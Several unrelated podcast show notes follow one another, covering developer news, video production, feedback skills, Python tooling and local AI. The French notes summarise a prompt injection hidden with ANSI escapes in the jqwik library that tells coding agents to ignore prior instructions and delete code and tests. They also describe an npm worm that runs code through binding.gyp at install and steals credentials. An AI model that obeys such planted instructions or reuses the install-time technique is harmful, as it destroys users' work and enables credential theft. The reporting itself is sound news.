pour changer une couleur CSS, atrophie progressive des compétences et coût écologique délirant Risque stratégique : dépendance irréversible aux vendeurs de tokens (Nvidia, Anthropic, OpenAI), business non rentable qui devra augmenter ses prix Conseil final : approche Pareto, garder 20% du temps en code "fait main", nommer un responsable stratégie IA, l'humain senior reste irremplaçable pour superviser Une libraries de test JUnit cache un prompt qui demande aux coding agents d'effacer les tests https://arstechnica.com/security/2026/05/fed-up-with-vibe-coders-dev-sneaks-data-nuking-prompt-injection-into-their-code/ Agacé par les « vibe coders », un développeur introduit une injection de prompt destructrice dans son code Le développeur de jqwik (un moteur de tests pour JUnit 5) a volontairement inséré une injection de prompt dans la version 1.10.0 de sa bibliothèque Java pour saboter le travail des agents d'IA. L'instruction injectée via la sortie standard (stdout) ordonne textuellement aux LLM d'ignorer les consignes précédentes et de supprimer l'intégralité du code et des tests jqwik du projet. Pour dissimuler cette action aux yeux des développeurs humains, le mainteneur a utilisé des séquences d'échappement ANSI qui effacent la ligne d'injection dans les émulateurs de terminaux interactifs. La modification a été découverte par un utilisateur qui a pointé du doigt les risques majeurs et disproportionnés pour les machines des utilisateurs, bien que certains outils comme Claude d'Anthropic aient détecté et bloqué la consigne malveillante. Face aux critiques de la communauté et aux accusations de comportement infantile ou potentiellement illégal, le développeur a mis à jour ses notes de version pour documenter explicitement son opposition à l'usage de son outil par des IA, avant de refuser tout commentaire supplémentaire sur conseil de son avocat. La réalité du rôle de Principal Engineer https://leaddev.com/career-development/reality-being-principal-engineer Le passage au rôle de Principal Engineer marque une transition majeure où les compétences techniques ne suffisent plus, l'impact se mesurant désormais à travers l'influence, la stratégie et la capacité à aligner la technique avec les objectifs business. Contrairement aux attentes, le quotidien est souvent marqué par une forme d'isolement, car le poste se situe à l'intersection de la direction (qui attend des solutions) et des équipes techniques (qui attendent des directives), sans appartenance directe à un groupe précis. Le rôle exige d'accepter une grande part d'ambiguïté et l'absence de retours immédiats, les projets et les décisions stratégiques mettant parfois des mois ou des années à porter leurs fruits. La gestion du temps devient un défi critique, nécessitant de savoir naviguer entre les sollicitations constantes, la présence en réunion et le besoin de préserver des moments de réflexion approfondie pour concevoir des visions à long terme. La réussite à ce niveau repose sur le développement de compétences humaines pointues (soft skills), notamment la négociation, la communication vulgarisée auprès des profils non techniques, et la capacité à faire grandir les autres ingénieurs par le mentorat. Sécurité Une attaque de la chaîne d'approvisionnement npm utilise binding.gyp pour compromettre des dizaines de paquets https://cybersecuritynews.com/binding-gyp-supply-chain-attack-compromises-dozens-of-npm-packages/ Une nouvelle variante du ver auto-propageable "Shai-Hulud", baptisée "Miasma", cible l'écosystème npm (et PyPI sous le nom de "Hades") en dissimulant son exécution dans le fichier binding.gyp au lieu des scripts classiques preinstall ou postinstall. La technique, surnommée "Phantom Gyp", exploite le fait que npm lance automatiquement node-gyp rebuild dès qu'un fichier binding.gyp est présent à la racine d'un paquet pour compiler des modules natifs C/C++, exécutant ainsi le code malveillant dès la commande npm install. L'attaque contourne la plupart des outils de sécurité traditionnels car l'injection s'appuie sur l'évaluation récursive de commandes (via la syntaxe ) ou directement sur la fonction eval() de Python sous-jacente à GYP, cachée sous n'importe quelle clé du fichier. Le script malveillant télécharge un runtime alternatif (Bun) pour échapper aux détections comportementales de Node.js, puis moissonne les identifiants et secrets des développeurs et des environnements CI/CD (npm, GitHub, AWS, GCP, Azure, Kubernetes, HashiCorp Vault). Plus de 57 paquets npm (dont le SDK serveur de Vapi ou des outils liés à l'IA) et des dizaines de paquets PyPI ont été infectés via des comptes de mainteneurs compromis, le ver republiant automatiquement de nouvelles versions vérolées en utilisant les jetons volés. Loi, société et organisation Restructuration chez Gitlab https://about.gitlab.com/blog/gitlab-act-2/ GitLab entame une restructuration majeure pour s'adapter à l'ère de l'intelligence artificielle agentique, incluant une réduction d'effectifs planifiée de manière transparente et ouverte. L'entreprise prévoit de réduire de 30 % le nombre de pays où elle maintient de petites équipes, d'aplatir sa hiérarchie en supprimant jusqu'à trois niveaux de gestion, et de réorganiser la R&D en une soixantaine d'équipes plus petites et autonomes. Les processus internes vont être revus en intégrant des agents d'IA pour automatiser les revues, les approbations et les passages de relais afin d'accélérer le rythme de travail. La stratégie repose sur la conviction que le logiciel sera bientôt écrit par des machines et dirigé par des humains, ce qui va multiplier la demande de logiciels et transformer le rôle des ingénieurs vers la résolution de problèmes complexes. Sur le plan technique, GitLab reconstruit son infrastructure sous-jacente (notamment Git) pour supporter la charge massive générée par les agents d'IA, tout en misant sur l'orchestration du cycle de vie, la centralisation du contexte des données et une gouvernance intégrée. Le modèle économique évolue vers un système hybride combinant les abonnements classiques et une tarification à la consommation pour le travail effectué par les agents d'IA. Un LLM local sur un mac pourrait coûter plus cher en électricité qu'un modèle hébergé sur OpenRouter dans le cloud https://www.williamangel.net/blog/2026/05/17/offline-llm-energy-use.html Conclusion : L'inférence locale sur Mac M5 Max est 3x plus chère et 2x plus lente que le cloud (OpenRouter). Électricité : Négligeable (~0,02 $/heure pour 50-100W). Matériel (Le vrai coût) : Achat du Mac à 4 299 $; l'amortissement sur 3 à 5 ans plombe la rentabilité horaire. Coût au million de tokens (Gemma 4 31b) : Mac M5 Max : 0,40 à4, 79 (pour 10-40 tokens/s). OpenRouter : 0,38 à0, 50 (pour 60-70 tokens/s). Verdict pro : Le temps humain perdu à cause de la lenteur locale coûte infiniment plus cher que les tokens cloud. Privilégier les API (Anthropic, OpenRouter). Ai didn't kill your junior pipeline https://andrewmurphy.io/blog/ai-didnt-kill-your-junior-pipeline-you-did L'IA n'a pas tué le recrutement des juniors, les entreprises l'ont fait elles-mêmes, par effet de mode. Sans juniors, pas de futurs seniors : on retire l'échelle qui nous a tous fait monter. Tout le monde pêche dans le même bassin de seniors sans le réapprovisionner, pénurie garantie dans 3-5 ans. Une équipe 100% senior + IA est fragile : un départ et tout le savoir tacite s'évapore. Les juniors posent les "pourquoi ?" qui révèlent les bugs et processus absurdes ; l'IA, elle, exécute sans questionner. Les seniors s'atrophient aussi en déléguant leur réflexion à l'IA, pince à double effet sur les compétences. Dépendre des outils IA, c'est sous-traiter sa stratégie talents à des fournisseurs dont les prix vont tripler. Solution : redéfinir le rôle junior (revue de code IA + mentorat), pas le supprimer. Les rapports internes de Microsoft révèlent la crise des coûts de l'IA : les agents coûtent plus cher que les employés humains https://fortune.com/2026/05/22/microsoft-ai-cost-problem-tokens-agents/ Des données et rapports internes chez Microsoft et d'autres géants de la tech ébranlent la promesse de rentabilité de l'IA, révélant que le déploiement d'agents autonomes à l'échelle de l'entreprise revient souvent plus cher que de payer des humains pour le même travail. Le modèle de tarification à l'usage (basé sur les tokens) se heurte à la nature même des architectures agentiques : contrairement à un simple chatbot, un agent boucle, enchaîne les appels d'outils, crée des sous-agents et auto-évalue son code, ce qui multiplie la consommation de tokens par un facteur de 5 à 30, voire jusqu'à 1 000 fois pour des tâches de programmation complexes. L'impact financier sur les budgets de calcul cloud est immédiat ; par exemple, Uber a entièrement épuisé l'intégralité de son budget annuel 2026 dédié au codage par IA en l'espace de seulement quatre mois. Face à cette explosion des coûts, des retours en arrière drastiques sont observés : Microsoft a ainsi commencé à suspendre une grande partie de ses licences internes Claude Code pour rediriger d'urgence ses milliers de développeurs vers sa propre solution moins onéreuse, GitHub Copilot CLI. Les directeurs techniques (CTO) et acheteurs de solutions logicielles qui ont signé des contrats pluriannuels basés sur des projections de réduction de masse salariale se retrouvent pris au piège, les gains réels de productivité ne parvenant pas à compenser les factures d'infrastructure exorbitantes. Conférences La liste des conférences provenant de Developers Conferences Agenda/List par Aurélie Vache et contributeurs : 11-12 juin 2026 : DevQuest Niort - Niort (France) 11-12 juin 2026 : DevLille 2026 - Lille (France) 12 juin 2026 : Tech F'Est 2026 - Nancy (France) 15 juin 2026 : Jupyter Workshops: Demystifying MyST Markdown in Education - Orsay (France) 16 juin 2026 : Mobilis In Mobile 2026 - Nantes (France) 17-19 juin 2026 : Devoxx Poland - Krakow (Poland) 17-20 juin 2026 : VivaTech - Paris (France) 18 juin 2026 : Tech'Work - Lyon (France) 22-26 juin 2026 : Galaxy Community Conference - Clermont-Ferrand (France) 23-24 juin 2026 : MWCP 2026 - Paris (France) 24-25 juin 2026 : Agi'Lille 2026 - Lille (France) 24-26 juin 2026 : BreizhCamp 2026 - Rennes (France) 26-27 juin 2026 : LeHACK - Paris (France) 27 juin 2026 : Asynconf - Paris (France) 2 juillet 2026 : Azur Tech Summer 2026 - Valbonne (France) 2 juillet 2026 : MCP Connect Travel Edition - Paris (France) 2-3 juillet 2026 : Sunny Tech - Montpellier (France) 3 juillet 2026 : Agile Lyon 2026 - Lyon (France) 6-8 juillet 2026 : Riviera Dev - Sophia Antipolis (France) 28-30 août 2026 : State of the Map - Champs-sur-Marne (France) 4 septembre 2026 : JUG Summer Camp 2026 - La Rochelle (France) 10-11 septembre 2026 : Nantes Craft - Nantes (France) 17 septembre 2026 : dotAI - Paris (France) 17-18 septembre 2026 : API Platform Conference 2026 - Lille (France) 18 septembre 2026 : WordCamp Bretagne - Rennes (France) 18 septembre 2026 : dotJS - Paris (France) 18 septembre 2026 : WordCamp Bretagne - Rennes (France) 22 septembre 2026 : Salon Data 2026 - Nantes (France) 22-23 septembre 2026 : Agile en Seine & IA 2026 - Paris (France) 24 septembre 2026 : OWASP AppSec Days France 2026 - Paris (France) 24 septembre 2026 : PlatformCon Paris - Paris (France) 24 septembre 2026 : React Native Connection 2026 - Paris (France) 24-26 septembre 2026 : Paris Web 2026 - Paris (France) 25 septembre 2026 : SAP Inside Track Paris 2026 - Paris (France) 28-29 septembre 2026 : 4th Tech Summit on AI & Robotics - Paris (France) & Online 1 octobre 2026 : WAX 2026 - Marseille (France) 1-2 octobre 2026 : Volcamp - Clermont-Ferrand (France) 2 octobre 2026 : DevFest Perros-Guirec 2026 - Perros-Guirec (France) 5-9 octobre 2026 : Devoxx Belgium - Antwerp (Belgium) 8-9 octobre 2026 : Forum PHP 2026 - Marne-la-Vallée (France) 12 octobre 2026 : Dev With AI - Paris (France) 22-23 octobre 2026 : Agile Tour Bordeaux 2026 - Bordeaux (France) 26 octobre 2026 : Agile Tour Montpellier - Montpellier (France) 27-29 octobre 2026 : Directions EMEA 2026 - Paris (France) 29-30 octobre 2026 : BDX I/O 2026 - Bordeaux (France) 29-30 octobre 2026 : Agile Tour Nantais 2026 - Nantes (France) 29 octobre 2026-1 novembre 2026 : Pycon FR - Biarritz (France) 30 octobre 2026 : Cloud Nord 2026 - Lille (France) 4-5 novembre 2026 : Devoxx Morocco - Casablanca (Morocco) 14-15 novembre 2026 : Capitole du Libre - Toulouse (France) 19 novembre 2026 : DevFest Toulouse 2026 - Toulouse (France) 19 novembre 2026 : Agile Laval 2026 - Laval (France) 19 novembre 2026 : OVHcloud Summit - Paris (France) 19 novembre 2026 : Codeurs en Seine - Rouen (France) 27 novembre 2026 : DevFest Paris 2026 - Paris (France) 1-3 décembre 2026 : Apidays Paris - Paris (France) 2-3 décembre 2026 : Cloud Native AI Summit Europe - Paris (France) 4 décembre 2026 : DevFest Lyon 2026 - Lyon (France) 4 décembre 2026 : DevFest Dijon 2026 - Dijon (France) 9-10 décembre 2026 : OpenSource Expérience - Paris (France) 9-10 décembre 2026 : DevOps REX - Paris (France) 10 décembre 2026 : KCD Provence - Aix-en-Provence (France) 7-9 avril 2027 : Devoxx France 2027 - Paris (France) 3 juin 2027 : Cloud Native Days France 2027 - Paris (France) Nous contacter Pour réagir à cet épisode, venez discuter sur le groupe Google https://groups.google.com/group/lescastcodeurs Contactez-nous via X/twitter https://twitter.com/lescastcodeurs ou Bluesky https://bsky.app/profile/lescastcodeurs.com Faire un crowdcast ou une crowdquestion Soutenez Les Cast Codeurs sur Patreon https://www.patreon.com/LesCastCodeurs Tous les épisodes et toutes les infos sur https://lescastcodeurs.com/
Welcome to episode three of The Production Geeks! Streaming live from our Midtown Manhattan rooftop, we are diving into the complex engineering behind two massive, upcoming live events. In this episode, we talk about:• Upgrading our NYC studio with a cutting-edge 1.2mm pitch LED video wall for an international 4th of July celebration. We break down the realities of broadcast refresh rates, power circuits, and front-serviceable wall mounting.• Solving the extreme technical challenges of live streaming the first-ever 30-person fully electric passenger plane test flight. • How we are leveraging iPhones with the LU Smart app, bonding cellular connections with Starlink in mid-air, and programming a multi-second delay to keep ground and air cameras perfectly in sync.• Marrying live flight data (via JSON push/pull API) into Singular Live HTML graphics over a vMix switcher.Timestamps:0:00 - Introduction & Rooftop Margaritas1:40 - Project 1: 4th of July Tall Ships Live Stream5:22 - The Tech of LED Walls: Pixel Pitch & Refresh Rates7:37 - Powering & Mounting Heavy Studio LED Walls11:07 - Getting Seamless Visual Angles with LED Panels15:53 - Project 2: Streaming the First Electric Passenger Plane Flight17:27 - Networking, Starlink on Planes & Latency Delays20:18 - Integrating Real-Time Flight Data & Cloud Backups25:07 - The Nightmare of Starlink Port ForwardingWhether you're an audio listener or watching us via the new video podcast features on Apple Podcasts and Spotify, thank you for tuning in! Make sure to rate, review, and follow the show on your favorite platform.BRAND STORYTELLING | FULL SERVICE VIDEO PRODUCTIONProfessional Branded Video Production Storytelling Experts#SorrentinoMedia | Full-Service Video Production Company including LiveStreaming services232 Madison AvenueSuite 1002New York, NY 10016mike@sorrentinomedia.com (212) 203-8419www.SorrentinoMedia.com https://www.sorrentinomedia.com/contact-sorrentino-media#videoproduction We specialize in digital video content production.From green-screen instructional videos to unscripted digital series and live streams - we will make it interesting and make it pop. Anyone can say they are a production company - we have a broad portfolio of work that has delivered results. #podcast Productionhttps://www.sorrentinomedia.com/podcast-productionWe offer all podcast production services including recording, editing, and publishing.We are passionate about telling your audio stories and bringing them to life in a way that will resonate with your listeners. Whether you need full-service podcast production or our professional advice on which direction to take, we are excited to work with you!#mediatraining https://www.sorrentinomedia.com/media-trainingMichael Sorrentino has a solid track record in working with on-air personalities from reporters/anchors to thought leaders. If you have never been on camera, media training can get you up to speed in no time. If you are a seasoned TV guest, we will fine-tune your skills to make you the best guest you can be!#nyc #studios https://www.sorrentinomedia.com/our-production-studios At the heart of Manhattan, Sorrentino Media offers three production studios for rent that are ideal for anything from small shoots to full-scale productions. Located at 232 Madison Avenue, at the corner of 37th and Madison, we are just minutes from both Penn Station and Grand Central.Our studios are fully equipped with the latest in production technology and our experienced team is available to assist you with all your production needs. We offer teleprompters, green screens, cameras (HD and 4k options are available), lighting panels and audio equipment, including wireless options. We also have a separate control room for live streaming with 4k and HD multi-camera switching.Extra features include a hair and makeup room with a styling station, a Nespresso coffee maker, and a fridge stocked with water and small snacks.Whether you need a space for a photoshoot, commercial shoot, music video, or anything else, we have the space and equipment you need. Have a project in mind? Contact us today to learn more about our rates and availability for film studio rental in NYC.REMOTE VIDEO PRODUCTION KITS AVAILABLE https://www.sorrentinomedia.com/remote-video-productionREMOTE PRODUCTION TIPS: https://www.sorrentinomedia.com/remote-video-production-tips
SANS Internet Stormcenter Daily Network/Cyber Security and Information Security Stormcast
Continuing Scans for swagger.json https://isc.sans.edu/diary/Continuing+Scans+for+swaggerjson/33044/#comments Fake call detection on Android https://blog.google/security/android-fake-call-detection/ Anthropic's coordinated vulnerability disclosure dashboard https://red.anthropic.com/2026/cvd/ My Upcoming Classes https://www.sans.org/profiles/dr-johannes-ullrich
A lot of what we've been talking about lately is durable skills — the abilities that last regardless of how our tools and tech environment change. In today's episode, I want to step back from the AI conversation and focus on one of the most durable skills of all: feedback. We've all been on both the giving and receiving side, and we can probably count on one hand the times someone gave us feedback that genuinely drove a good change — that left us wanting to do better without feeling torn down. So how do we accomplish that kind of feedback, on both sides of the table? That's what this episode is all about. Start With Your Goal, Not Your Frustration: Before you give feedback, recognize that your gut impulse often comes from a negative emotion — frustration, feeling slighted, feeling disrespected. Those feelings are valid signals that something is off, but they aren't a sufficient reason to give feedback. Effective feedback is goal-oriented: ask yourself what you actually want to change before you say a word. Premature vs. Mature Feedback: Premature feedback is really about making sure someone knows how you feel — which can quietly turn into an attack so they share your pain. Mature feedback is forward-looking and aimed at improvement. Venting may give you catharsis in the moment, but if the behavior worsens or the relationship is damaged, the net outcome is negative. Why Asking for Feedback Changes Everything: Even hearing "can we meet for ten minutes, I have some feedback" measurably raises your heart rate and pushes you into a defensive state. But when you ask for feedback, your mind and body register that you're in control — same information, completely different physiological response. Make It Behavior-Based and Specific: Good feedback is about observable behavior — what a camera would have caught — not someone's core identity. If your feedback violates a person's self-concept (painting a competent engineer as incompetent), they have to change who they believe they are to accept it, and that gap rarely gets bridged in a 30-minute call. Use a Model — But Add the Intervention: The popular SBI model (Situation, Behavior, Impact) is a strong backbone, but it stops short. Don't just describe the past — partner with the person on what comes next. Think of it as SBI + Intervention: what can you commit to trying differently so the impact changes? That's where feedback becomes coaching. The Netflix Four A's: Aim to assist, make it actionable, show appreciation, and accept or discard. Lead with the intent to help, get specific about the behavior, appreciate the person's willingness and intent, and recognize that not every piece of feedback will be useful — both sides get to keep what's valuable and let the rest go. Receiving Feedback Well: When someone hands you messy, un-modeled feedback, you can walk them through the framework — "help me understand the situation, what behavior did you see, what was the impact?" People respect that you're engaging, shift into problem-solving mode, and give you more actionable feedback as a result. Episode Homework: Pay attention to patterns over time. One piece of feedback shouldn't be attached to your identity — but three or four that point in the same direction are worth introspecting on. Career development and feedback are two sides of the same door; walk through it and you grow.
Topics covered in this episode: CVE-2026-48710: A Maintainer's Perspective daily-stars-explorer Markdown to pdf with pandoc and typst postman2pytest Extras Joke Watch on YouTube About the show Brian #1: CVE-2026-48710: A Maintainer's Perspective Marcelo Trylesinski suggested by Lee Luocks Short version: users of Starlette: upgrade to Starlette 1.0.1 security professionals: we can't treat open source projects like corporations This top link is a Starlette security advisory with the title Missing Host header validation poisons request.url.path, bypassing path-based security checks The CVE apparently caused some negative press targeting starlette. However, “the vulnerability came from the application pattern and the deployment, never from something Starlette intended.” A quote from an OSTIF article: “This bug is a classic “responsibility gap” where if this maintainer didn't patch, thousands of exposed projects would have to individually secure their projects. In doing this work, they've voluntarily taken on the responsibility to protect the ecosystem from long-term systemic harm. As with all open source projects, they owed us nothing and could have left this to be everyone else's problem and took the extraordinary steps of helping the ecosystem.” Both X40 D-Sec and Ars Technica expected immediate fixes and responses from Starlette. That's not good. We can do better. Michael #2: daily-stars-explorer Explore the full history of any GitHub repository.
Ep 284 BBEdit 16 Searches for Text in Images, Adds Shortcuts Actions, and More JSON: 25 years Google Chrome Is Silently Downloading a 4GB AI Model! Here's the FIX! His entire Google account got permanently banned. Not just Drive. Gmail. YouTube. Every single service. Jabučnjak - David Pogue: Da mogu promijeniti povijest, izliječio bih Stevea Jobsa | Interview OS 26.5 Adds Encrypted RCS Messaging, Fixes Bugs Apple unveils new accessibility features, and updates with Apple Intelligence Recognition - Community - Apple Developer Apple Design Awards - 2026 finalists The App Store stopped over $2.2 billion in fraudulent transactions in 2025 Radu Dutzan: f u c k A p p l e ‘ s A p p R e v i e w -- This Is The Best Local Model Runner For Apple Silicon (oMLX) Indexing a year of video locally on a 5-year-old M1 Max with Gemma 4 31B AI didn't kill your junior pipeline. You did. | Andrew Murphy Turn on a Mac mini, Mac Studio, or iMac without pressing its power button - Apple Support No, Bambu Lab. You're Not Apple. You're MUCH Worse. Apple has open-sourced corecrypto, the foundational cryptographic library in Apple operating systems Apple in the Enterprise: A 2026 report card How did Apple make this work?? Zahvalnice Snimano 29.5.2026. Uvodna muzika by Vladimir Tošić, stari sajt je ovde. Logotip by Aleksandra Ilić. Artwork epizode by Saša Montiljo, njegov kutak na Devianartu
¡Episodio 800 de Atareao con Linux! Parece que fue ayer cuando empecé a grabar las primeras entregas compartiendo mis andanzas en el mundo de los servidores y el código abierto, y mirad hasta dónde hemos llegado. Muchísimas gracias de todo corazón por acompañarme en este viaje, por cada comentario, por cada descarga y por estar siempre ahí al otro lado del auricular trasteando y cacharreando conmigo.Para conmemorar este número tan redondo, hoy vamos a seguir explorando el apasionante mundo del Model Context Protocol (MCP), esa tecnología que está revolucionando la forma en la que interactuamos con la Inteligencia Artificial de forma local. Si en el episodio anterior nos centramos en una herramienta pasiva para consultar la previsión del tiempo, hoy vamos a dar un paso de gigante hacia la acción. Te voy a explicar en detalle cómo he diseñado e implementado un servidor MCP ToDo que dota a tu IA local de una memoria persistente a largo plazo. Sí, has escuchado bien: ¡vamos a curar de una vez por todas la amnesia de los modelos de lenguaje!Mi propuesta: Un gestor de tareas local programado en RustPara atajar este problema, me puse manos a la obra y programé un servidor MCP específico para la gestión de tareas utilizando Rust.Poniéndolo a prueba en vivo y en directoDurante el episodio de hoy te cuento exactamente cómo tengo desplegada esta solución en mi servidor doméstico.Optimización de tokens: El arte de no saturar a la IAUn detalle técnico fundamental que abordo en este episodio es el control y optimización del contexto.Capítulos del episodio: 00:00:00 Intro: El hito del episodio 800 y el problema de la memoria en las IA 00:00:32 El consumo de tokens y los límites de la ventana de contexto 00:01:22 Herramientas externas para dotar de memoria a los modelos de lenguaje 00:03:26 Solucionando la "amnesia" de la IA con una base de datos local 00:04:44 Implementación técnica: Un servidor MCP rápido en Rust con Podman y Docker 00:06:14 Cómo configurar la integración del MCP ToDo en OpenWeb UI paso a paso 00:08:29 Demostración en vivo: Listar, añadir y consultar tareas pendientes 00:09:56 El reto del lenguaje natural, el formato de fechas y los logs internos 00:12:05 Gestión avanzada: Marcar tareas completadas y asignar etiquetas 00:14:52 ¿Cómo funciona bajo el capó? Operaciones CRUD y base de datos relacional 00:16:42 Por qué elegí SQLite frente a JSON (búsquedas rápidas con FTS5) 00:18:22 El truco para evitar que tu IA colapse: Paginación y control de tokens 00:20:20 Seguridad de archivos: El rol del MCP como intermediario seguro 00:22:16 El siguiente nivel: De la consulta pasiva de información a la escritura activa 00:23:21 El puente definitivo hacia las bases de datos vectoriales y RAG 00:23:58 Próximo Workshop presencial sobre IA local en Linux Center (Slimbook) 00:24:52 Código abierto en GitHub, infografías de Atareao y avance del próximo episodio 00:25:54 Despedida, comunidad y la red de podcasts de Sospechosos HabitualesMás información y enlaces en las notas del episodio
On the show floor at NAB in Las Vegas, Jim Tierney of Digital Anarchy discusses ShotNotes, a Premiere Pro panel that keeps project notes, time codes, links, timers, and collaboration details inside the edit instead of scattered across documents or sticky notes. He also previews Beauty Box Video AI development and explains where generative AI can help video pros, where traditional AI still shines, and why AI is useful but not a magic bullet. Show Notes: Chapters: [0:02] Introduction from NAB 2026[0:11] Jim Tierney joins the conversation on the show floor[0:38] Digital Anarchy introduces Shot Notes for Premiere Pro[0:50] Keeping notes attached to sequences and time code[1:03] Linking notes to other sequences, projects, and web resources[1:14] Time tracking for tasks, management, and invoicing[1:26] Replacing notebooks, documents, and sticky notes inside Premiere[1:47] Sharing embedded project notes and exporting JSON[2:26] Why project-based notes are better than separate files[2:43] User feedback from Transcriptive and common note-taking habits[2:52] Frame.io comparisons and Premiere's lack of a built-in notepad[3:02] How Shot Notes works with markers[3:33] Marker limitations and richer Shot Notes features[3:45] Exporting notes as PDFs[4:15] Ongoing Digital Anarchy development[4:20] AI features being developed for Beauty Box[4:37] How Jim Tierney now views AI in professional workflows[4:59] Separating generative AI from other AI tools[5:21] Using generative AI for backgrounds and B-roll[5:39] Why generative AI is still limited for full film creation[6:01] Older-school AI, face parsing, and Beauty Box[6:21] AI as a coding aid with limitations[6:46] AI as a useful tool, not a magic bullet[7:01] Beauty Box, face correction, and podcast visuals[7:38] Beauty Box as visual makeup rather than face recreation[7:57] Eye whitening, teeth whitening, and cleaning up original footage[8:16] The difference between subtle enhancement and generative alteration[8:46] Taking the edge off camera-added skin texture[8:58] Where to learn more about Digital Anarchy products[9:09] Closing from NAB in Las Vegas Support: Become a MacVoices Patron on Patreon http://patreon.com/macvoices Enjoy this episode? Make a one-time donation with PayPal Connect: Web: http://macvoices.com Twitter: http://www.twitter.com/chuckjoiner http://www.twitter.com/macvoices Mastodon: https://mastodon.cloud/@chuckjoiner Facebook: http://www.facebook.com/chuck.joiner MacVoices Page on Facebook: http://www.facebook.com/macvoices/ MacVoices Group on Facebook: http://www.facebook.com/groups/macvoice LinkedIn: https://www.linkedin.com/in/chuckjoiner/ Instagram: https://www.instagram.com/chuckjoiner/ Subscribe: Audio in iTunes Video in iTunes Subscribe manually via iTunes or any podcatcher: Audio: http://www.macvoices.com/rss/macvoicesrss Video: http://www.macvoices.com/rss/macvoicesvideorss
On the show floor at NAB in Las Vegas, Jim Tierney of Digital Anarchy discusses ShotNotes, a Premiere Pro panel that keeps project notes, time codes, links, timers, and collaboration details inside the edit instead of scattered across documents or sticky notes. He also previews Beauty Box Video AI development and explains where generative AI can help video pros, where traditional AI still shines, and why AI is useful but not a magic bullet. Show Notes: Chapters: [0:02] Introduction from NAB 2026 [0:11] Jim Tierney joins the conversation on the show floor [0:38] Digital Anarchy introduces Shot Notes for Premiere Pro [0:50] Keeping notes attached to sequences and time code [1:03] Linking notes to other sequences, projects, and web resources [1:14] Time tracking for tasks, management, and invoicing [1:26] Replacing notebooks, documents, and sticky notes inside Premiere [1:47] Sharing embedded project notes and exporting JSON [2:26] Why project-based notes are better than separate files [2:43] User feedback from Transcriptive and common note-taking habits [2:52] Frame.io comparisons and Premiere's lack of a built-in notepad [3:02] How Shot Notes works with markers [3:33] Marker limitations and richer Shot Notes features [3:45] Exporting notes as PDFs [4:15] Ongoing Digital Anarchy development [4:20] AI features being developed for Beauty Box [4:37] How Jim Tierney now views AI in professional workflows [4:59] Separating generative AI from other AI tools [5:21] Using generative AI for backgrounds and B-roll [5:39] Why generative AI is still limited for full film creation [6:01] Older-school AI, face parsing, and Beauty Box [6:21] AI as a coding aid with limitations [6:46] AI as a useful tool, not a magic bullet [7:01] Beauty Box, face correction, and podcast visuals [7:38] Beauty Box as visual makeup rather than face recreation [7:57] Eye whitening, teeth whitening, and cleaning up original footage [8:16] The difference between subtle enhancement and generative alteration [8:46] Taking the edge off camera-added skin texture [8:58] Where to learn more about Digital Anarchy products [9:09] Closing from NAB in Las Vegas Support: Become a MacVoices Patron on Patreon http://patreon.com/macvoices Enjoy this episode? Make a one-time donation with PayPal Connect: Web: http://macvoices.com Twitter: http://www.twitter.com/chuckjoiner http://www.twitter.com/macvoices Mastodon: https://mastodon.cloud/@chuckjoiner Facebook: http://www.facebook.com/chuck.joiner MacVoices Page on Facebook: http://www.facebook.com/macvoices/ MacVoices Group on Facebook: http://www.facebook.com/groups/macvoice LinkedIn: https://www.linkedin.com/in/chuckjoiner/ Instagram: https://www.instagram.com/chuckjoiner/ Subscribe: Audio in iTunes Video in iTunes Subscribe manually via iTunes or any podcatcher: Audio: http://www.macvoices.com/rss/macvoicesrss Video: http://www.macvoices.com/rss/macvoicesvideorss
Topics covered in this episode: Dumb Ways for an Open Source Project to Die How to create a pylock.toml lockfile https://github.com/facebook/Lifeguard Choosing a Python Logging Library in 2026 Extras Joke Watch on YouTube About the show Sponsored by us! Support our work through: Our courses at Talk Python Training The Complete pytest Course Patreon Supporters Connect with the hosts Michael: @mkennedy@fosstodon.org / @mkennedy.codes (bsky) Brian: @brianokken@fosstodon.org / @brianokken.bsky.social Show: @pythonbytes@fosstodon.org / @pythonbytes.fm (bsky) Join us on YouTube at pythonbytes.fm/live to be part of the audience. Usually Monday at 11am PT. Older video versions available there too. Finally, if you want an artisanal, hand-crafted digest of every week of the show notes in email form? Add your name and email to our friends of the show list, we'll never share it. Michael #1: Dumb Ways for an Open Source Project to Die Core categories The maintainer left The maintainer is still there Sabotage and capture The release pipeline broke Force majeure The world moved on The project split - Examples Bulma PRs still from 2023, issues and PRs with no maintainer response for years, last release 1.5 years ago diskcache Similar, got hired by OpenAI, crickets after that Brian #2: How to create a pylock.toml lockfile Tim Hopper Tim walks through using uv, pip and pdm to create pylock.toml files. Recommendation: use uv export --format pylock.toml -o pylock.toml He also has How to install from a pylock.toml lockfile with pip but the short version is: use -r because tools treat it like a requirements file Michael #3: https://github.com/facebook/Lifeguard Lifeguard is a static analyzer to detect Lazy Imports incompatibilities and ease the adoption overhead for Lazy Imports in Python. I'm more excited about lazy imports after my Cutting Python Web App Memory Over 31% experience Some Python patterns depend on imports executing immediately. For example: Module-level side effects — a module that registers a handler or modifies global state at import time will behave differently if that import is deferred. The registry pattern — a module that registers itself (e.g., adding to a global dict) when imported will silently fail to register under Lazy Imports. sys.modules manipulation — code that reads or writes sys.modules assumes prior imports have already executed. Metaclasses and __init_subclass__ — class creation side effects may depend on imports being resolved. Project Stage: Beta Lifeguard is in active development. We are aiming to be ready for general use by the Python 3.15 final release. Brian #4: Choosing a Python Logging Library in 2026 Ayooluwa Isaiah " which libraries matter, how they compare, where they overlap with the standard module, and when each one makes sense.” The slant with this article is the need to log json output, which seems reasonable as things like API entry and exit point logging will include json. Covered libraries standard library logging with a hat tip to python-json-logger Same site has a guide to setting up python-json-logger structlog Loguru Logbook picologging Some benchmarks with structlog, stdlib+json, and Loguru, with structlog coming out faster I liked the Loguru example I'm going to have to try @logger.catch and logger.exception() for easily logging exceptions and serialize=True to enable JSON output. Extras Brian: When Women Stopped Coding - Planet Money segment , spotted on BlueSky from Savannah Ostrowski Lean TDD is now leaner Still working on audio version, but some great changes in 0.7.1 version Ch 6, TDD Interpretations, move ATDD and some of BDD to chapter Ch 7, Change name to TDD with Teams: BDD and ATDD Ch 9, Lean TDD, streamline steps and chapter Ch 10, Change name to Lean TDD with Teams: Lean ATDD Ch 11, Lean TDD with AI, Add short discussion about guardrails and security Michael: New course: Python Web Security: OWASP Top 10 with Agentic AI All courses now with Spanish subtitles, see announcement Joke: Stop texting me
